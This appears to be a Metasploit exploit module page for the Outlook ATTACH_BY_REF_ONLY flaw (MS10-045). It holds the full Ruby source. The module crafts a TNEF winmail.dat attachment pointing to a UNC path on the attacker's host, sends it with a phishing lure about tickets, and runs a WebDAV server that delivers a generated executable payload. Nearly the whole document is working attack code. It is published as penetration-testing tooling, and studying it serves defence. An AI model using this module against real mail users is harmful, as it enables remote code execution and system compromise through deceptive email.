Outlook ATTACH_BY_REF_ONLY File Execution

2010-07-25T16:00:52
ID MSF:EXPLOIT/WINDOWS/EMAIL/MS10_045_OUTLOOK_REF_ONLY
Type metasploit
Reporter Rapid7
Modified 2017-09-22T23:49:09

Description

It has been discovered that certain e-mail message cause Outlook to create Windows shortcut-like attachments or messages within Outlook. Through specially crafted TNEF streams with certain MAPI attachment properties, it is possible to set a path name to files to be executed. When a user double clicks on such an attachment or message, Outlook will proceed to execute the file that is set by the path name value. These files can be local files, but also files stored remotely (on a file share, for example) can be used. Exploitation is limited by the fact that it is not possible for attackers to supply command line options.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # This module acts as an HTTP server
  include Msf::Exploit::Remote::HttpServer::HTML

  # This module also sends email
  include Msf::Exploit::Remote::SMTPDeliver

  # This module generates an EXE
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'			=> 'Outlook ATTACH_BY_REF_ONLY File Execution',
      'Description'		=> %q{
        It has been discovered that certain e-mail message cause Outlook to create Windows
        shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
        streams with certain MAPI attachment properties, it is possible to set a path name
        to files to be executed. When a user double clicks on such an attachment or message,
        Outlook will proceed to execute the file that is set by the path name value. These
        files can be local files, but also files stored remotely (on a file share, for example)
        can be used. Exploitation is limited by the fact that it is not possible for attackers
        to supply command line options.
      },
      'Author'		=> 'Yorick Koster <yorick[at]akitasecurity.nl>',
      'References'	=>
        [
          ['MSB', 'MS10-045'],
          ['CVE', '2010-0266'],
          ['OSVDB', '66296'],
          ['BID', '41446'],
          ['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
        ],
      'Stance'         => Msf::Exploit::Stance::Passive,
      'Payload'        =>
        {
          'Space'       => 1024,
          'Compat'      =>
            {
              'ConnectionType' => '-bind -find',
            },

          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Jun 01 2010',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        #
        # Email options
        #
        OptString.new('MESSAGECLASS',
          [false, 'Message Class value', 'IPM.Note']),
        OptString.new('FILENAME',
          [false, 'Sets the file name that is displayed in the message', 'clickme.jpg']),
        OptBool.new('HTML',
          [false, 'Send email in HTML or plain text', true]),
        OptString.new('MESSAGE',
          [false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']),
        #
        # WebDAV options
        #
        OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
        OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
      ])

    deregister_options('SSL', 'SSLVersion') # Just for now
  end

  def on_request_uri(cli, request)

    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      process_get(cli, request)
    else
      print_error("Unexpected request method encountered: #{request.method}")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end

  end

  def process_get(cli, request)

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if (request.uri =~ /\.exe$/i)
      print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
    resp = create_response(404, "Not Found")
    resp.body = ""
    resp['Content-Type'] = 'text/html'
    cli.send_response(resp)
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
    headers = {
      'MS-Author-Via' => 'DAV',
#			'DASL'          => '<DAV:sql>',
#			'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, GET, PROPFIND',
      'Public'        => 'OPTIONS, GET, PROPFIND'
    }
    resp = create_response(207, "Multi-Status")
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path =~ /\.exe$/i
      # Response for the DLL
      print_status("Sending EXE multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
      return
    end

    if path !~ /\/$/

      if path.index(".")
        print_status("Sending 404 for #{path} ...")
        resp = create_response(404, "Not Found")
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      else
        print_status("Sending 301 for #{path} ...")
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    print_status("Sending directory multistatus for #{path} ...")
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
        <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|


    subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

    files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
    if request["Depth"].to_i > 0
      if path.scan("/").length < 2
        body << subdirectory
      else
        body << files
      end
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def exploit

    unc = nil
    if (datastore['UNCHOST'])
      unc = datastore['UNCHOST'].dup
    else
      unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
    end

    @exploit_unc_host = unc
    @exploit_unc  = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\"
    @exploit_exe  = rand_text_alpha(rand(8)+4) + ".exe"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    msg = Rex::MIME::Message.new
    msg.mime_defaults
    msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    msg.to = datastore['MAILTO']
    msg.from = datastore['MAILFROM']

    if datastore['HTML']
      body = create_email_body_html(datastore['MESSAGE'], msg.subject)
      content_type = "text/html; charset=\"iso-8859-1\""
      msg.add_part(body, content_type, 'quoted-printable')
    else
      body = create_email_body(datastore['MESSAGE'])
      content_type = 'text/plain'
      msg.add_part(body, content_type, '8bit')
    end

    attachment = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n")
    content_type = 'application/ms-tnef'
    content_disposition = "attachment; name=\"winmail.dat\""
    msg.add_part(attachment, content_type, 'base64', content_disposition)

    print_status("Sending message to the target...")
    send_message(msg.to_s)

    print_status("Creating WebDAV service and waiting for connections...")
    super
  end

  def create_email_body(body)
    body = body.gsub(/\\[nr]/, "\n")
    body = body.gsub(/\\t/, "\t")
    return body
  end

  def create_email_body_html(body, subject)
    body = body.gsub(/\\[nr]/, "<BR>\n")
    body = body.gsub(/\\t/, "   ")
    ret = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=3D\"Content-Type\" CONTENT=3D\"text/html; charset=3Diso-8859-=\n1\">\n"
    ret << "<TITLE>" << subject << "</TITLE>\n</HEAD>\n<BODY>\n" << body << "\n<BR><BR>\n</BODY>\n</HTML>"
    ret
  end

  def create_tnef_exploit
    filename = (datastore['FILENAME'] || 'clickme.png') << "\x00"
    message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00"
    pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00"
    print_status("Using UNC path: #{pathname}")

    # start of TNEF stream
    sploit = create_tnef_header

    # MAPI message properties
    msgprops = "\x04\x00\x00\x00"			# Count		4

    msgprops << "\x0b\x00"				# Type		PT_BOOLEAN
    msgprops << "\x1b\x0e"				# Name		PR_HASATTACH
    msgprops << "\x01\x00\x00\x00"			# Value data	1

    msgprops << "\x1e\x00"				# Type		PT_STRING
    msgprops << "\x1a\x00"				# Name		PR_MESSAGE_CLASS
    msgprops << "\x01\x00\x00\x00"			# Count values	1
    msgprops << [message_class.length].pack("V")	# Value length
    msgprops << mapi_pad(message_class)		# Value data

    msgprops << "\x03\x00"				# Type		PT_INT
    msgprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
    msgprops << "\x05\x00\x00\x00"			# Value data	MAPI_MESSAGE (5)

    msgprops << "\x03\x00"				# Type		PT_INT
    msgprops << "\x07\x0e"				# Name		PR_MESSAGE_FLAGS
    msgprops << "\x12\x00\x00\x00"			# Value data	0x00000012

    # add properties to TNEF stream
    sploit << "\x01"				# Level type	LVL_MESSAGE
    sploit << "\x03\x90"				# Name		attMAPIProps (0x9003)
    sploit << "\x06\x00"				# Type		atpByte (0x0006)
    sploit << [msgprops.length].pack('V')		# Len
    sploit << msgprops
    sploit << tnef_checksum(msgprops)

    # start of TNEF attachment
    sploit << "\x02"				# Level type	LVL_ATTACHMENT
    sploit << "\x02\x90"				# Name		attAttachRenddata (0x9002)
    sploit << "\x06\x00"				# Type		atpByte (0x0006)
    sploit << "\x0e\x00\x00\x00"			# Len		0x0000000e
    sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
    sploit << "\x3d\x04"				# Checksum

    # MAPI attachment properties
    attprops = "\x04\x00\x00\x00"			# Count		4

    attprops << "\x1e\x00"				# Type		PT_STRING
    attprops << "\x07\x37"				# Name		PR_ATTACH_LONG_FILENAME
    attprops << "\x01\x00\x00\x00"			# Count values	1
    attprops << [filename.length].pack('V')		# Value length
    attprops << mapi_pad(filename)			# Value data

    attprops << "\x1e\x00"				# Type		PT_STRING
    attprops << "\x0d\x37"				# Name		PR_ATTACH_LONG_PATHNAME
    attprops << "\x01\x00\x00\x00"			# Count values	1
    attprops << [pathname.length].pack('V')		# Value length
    attprops << mapi_pad(pathname)			# Value data

    attprops << "\x03\x00"				# Type		PT_INT
    attprops << "\x05\x37"				# Name		PR_ATTACH_METHOD
    attprops << "\x04\x00\x00\x00"			# Value data	ATTACH_BY_REF_ONLY (4)

    attprops << "\x03\x00"				# Type		PT_INT
    attprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
    attprops << "\x07\x00\x00\x00"			# Value data	MAPI_ATTACH (7)

    # add properties to TNEF stream
    sploit << "\x02"				# Level type	LVL_ATTACHMENT
    sploit << "\x05\x90"				# Name		attAttachment (0x800f)
    sploit << "\x06\x00"				# Type		atpByte (0x0006)
    sploit << [attprops.length].pack('V')		# Len
    sploit << attprops
    sploit << tnef_checksum(attprops)

    return sploit
  end

  def create_tnef_header
    # TNEF Header
    buf = "\x78\x9f\x3e\x22"			# Signature	0x223e9f78
    buf << "\x00\x00"				# Key

    # TNEF Attributes
    buf << "\x01"					# Level type	LVL_MESSAGE
    buf << "\x06\x90"				# Name		attTnefVersion (0x9006)
    buf << "\x08\x00"				# Type		atpDword (0x0008)
    buf << "\x04\x00\x00\x00"			# Len		0x00000004
    buf << "\x00\x00\x01\x00"
    buf << "\x01\x00"				# Checksum

    buf << "\x01"					# Level type	LVL_MESSAGE
    buf << "\x07\x90"				# Name		attOemCodepage (0x9007)
    buf << "\x06\x00"				# Type		atpByte (0x0006)
    buf << "\x08\x00\x00\x00"			# Len		0x00000008
    buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
    buf << "\xe8\x00"				# Checksum

    buf << "\x01"					# Level type	LVL_MESSAGE
    buf << "\x0d\x80"				# Name		attPriority (0x800d)
    buf << "\x04\x00"				# Type		atpShort (0x0004)
    buf << "\x02\x00\x00\x00"			# Len		0x00000002
    buf << "\x02\x00"
    buf << "\x02\x00"				# Checksum

    return buf
  end

  def tnef_checksum(buf = '')
    checksum = 0;

    buf.each_byte { |b|
      checksum += b
    }

    return [checksum % 65536].pack('v')
  end

  def mapi_pad(buf = '')
    length = (buf.length + 3) & ~3

    (buf.length..(length - 1)).each {
      buf << "\x00"
    }

    return buf
  end
end